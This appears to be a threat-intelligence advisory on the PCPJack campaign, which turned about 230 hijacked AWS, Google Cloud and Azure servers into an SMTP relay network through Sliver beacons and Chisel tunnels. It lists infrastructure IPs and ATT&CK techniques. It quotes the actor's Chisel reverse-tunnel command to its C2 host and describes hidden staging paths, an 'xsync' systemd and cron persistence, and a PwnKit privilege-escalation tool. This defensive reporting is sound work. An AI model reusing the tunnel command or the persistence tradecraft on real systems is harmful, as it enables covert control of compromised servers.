# PCPJack Covert SMTP Relay Network — 230 Hijacked AWS/Google Cloud/Azure Servers via Sliver C2 + Chisel SOCKS Tunneling

> A financially-motivated actor tracked as PCPJack hijacked roughly 230 compromised Linux cloud servers across AWS, Google Cloud, and Azure and converted them into a covert SMTP relay/proxy network. Hunt.io exposed the operation through two unauthenticated open directories on the actor's Contabo-hosted C2 (213.136.80[.]73), which leaked Python deployers, stock Chisel binaries, Sliver configuration, and JSON deployment state showing 230 beacons fully provisioned.

- **Published:** 2026-06-07T00:00:00Z
- **Last reviewed:** 2026-06-07T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0701
- **ID:** TL-2026-0701
- **Severity:** HIGH
- **Category:** THREAT_INTEL
- **Status:** ACTIVE
- **Actor:** PCPJack
- **Detections:** 9 · **IOCs:** 22 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2021-4034

## Description

PCPJack — assessed as a presumed former TeamPCP operator who strips TeamPCP artifacts from victims and re-implants Sliver beacons — runs a cloud-focused campaign that exploits public-facing web applications on AWS EC2, GCP managed instance groups, and Azure VMs. Compromised Linux hosts are enrolled as Sliver beacons against a Sliver server on 213.136.80[.]73:9000. An automation layer (the 'XSync' deployer set) then pulls active Linux beacons that checked in within the last ~10 minutes and converts each into a dedicated outbound SMTP proxy, building a resilient spam/email-relay infrastructure that launders email through reputable cloud IP space.

The deployment pipeline evolved across three Python scripts. deployer_v1.py loaded Sliver config from /root/.sliver-client/configs/root_localhost.cfg, applied an SMTP pre-filter (testing outbound reachability to smtp.gmail.com:587), and processed beacons in batches of 50 with a 25-minute wait after uploads and 15 minutes after execution; it completed 50 proxies at 2026-03-10T09:05:20Z. deployer_v2.py dropped the SMTP gate, deployed to all active Linux beacons, and split state into separate 'uploaded'/'executed' lists (captured mid-run at 50 uploads / 0 executions). deployer_v3.py removed batching for sequential single-loop processing and achieved uploaded:230 / executed:230 in a single wave, setting an 'IsIOC = False' flag on every upload in an attempt to evade indicator tracking.

Tunneling uses three unmodified stock Chisel binaries (amd64, arm64, 386) for universal Linux coverage. Each beacon is assigned a deterministic SOCKS5 reverse-tunnel port derived from an MD5 hash of its Sliver UUID, mapped into the 10000-14999 range. The Chisel client connects back as 'chisel client http://213.136.80.73:9000 R:0.0.0.0:[PORT]:socks'; the server also listens on 8080 (corporate-proxy-bypass blending) and 2053 (DNS-range blending). Chisel is staged to hidden temp paths in priority order (/tmp/.ch5 → /tmp/.ch) then copied to /var/tmp/.xs (preferred over /tmp due to noexec). Persistence is established as a root systemd service named 'xsync' masquerading as a system utility, or — in non-root context — a five-minute cron watchdog tagged with a '# xsync' comment marker for idempotent re-installation.

A persistent verification daemon (chisel_verifier.py) enumerates active tunnel ports via 'ss -tlnp' and validates SMTP capability every 60 seconds using a full EHLO/STARTTLS handshake (not a mere port check). Verified proxies are written to /root/excalibur/smtp_proxies.csv and synced via SCP every five minutes to a downstream 'Excalibur' consumer on 38.242.204[.]245. Supporting infrastructure includes 38.242.245[.]147 (phishing domains), 45.225.135[.]54 (staging directory hosting a CVE-2021-4034 PwnKit privesc tool), and 95.216.111[.]46 (Hetzner, reverse DNS englizm.online, flagged active Sliver). A shared 'OpenClaw CA' certificate template was observed across four IPs (38.242.204[.]245, 81.71.15[.]27, 203.237.119[.]147, 134.65.231[.]147), tying the infrastructure together. Attribution between PCPJack and the XSync deployer tooling remains LOW confidence — shared C2 (213.136.80[.]73), identical Contabo vmiXXXXXXX naming, and matching nginx/OpenSSH stacks are circumstantial; no shared auth material or developer artifacts were established.

## MITRE ATT&CK

- T1583 Acquire Infrastructure
- T1584 Compromise Infrastructure
- T1190 Exploit Public-Facing Application
- T1059 Command and Scripting Interpreter
- T1543 Create or Modify System Process
- T1053 Scheduled Task/Job
- T1068 Exploitation for Privilege Escalation
- T1564 Hide Artifacts
- T1036 Masquerading
- T1049 System Network Connections Discovery
- T1057 Process Discovery
- T1572 Protocol Tunneling
- T1090 Proxy
- T1071 Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1048 Exfiltration Over Alternative Protocol

## Sources

- [PCPJack Hijacked 230 AWS, GCP, and Azure Servers to Run a Hidden SMTP Relay Network](https://hunt.io/blog/pcpjack-230-cloud-servers-smtp-proxy-network-sliver-chisel)
- [PCPJack Hijacks 230 AWS, Google Cloud, and Azure Servers for Covert SMTP Relay Network](https://thehackernews.com/2026/06/pcpjack-hijacks-230-aws-google-cloud.html)
- [Sliver Adversary Emulation Framework](https://github.com/BishopFox/sliver)
- [Chisel TCP/UDP tunnel over HTTP](https://github.com/jpillora/chisel)
- [CVE-2021-4034 PwnKit polkit pkexec local privilege escalation](https://nvd.nist.gov/vuln/detail/CVE-2021-4034)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0701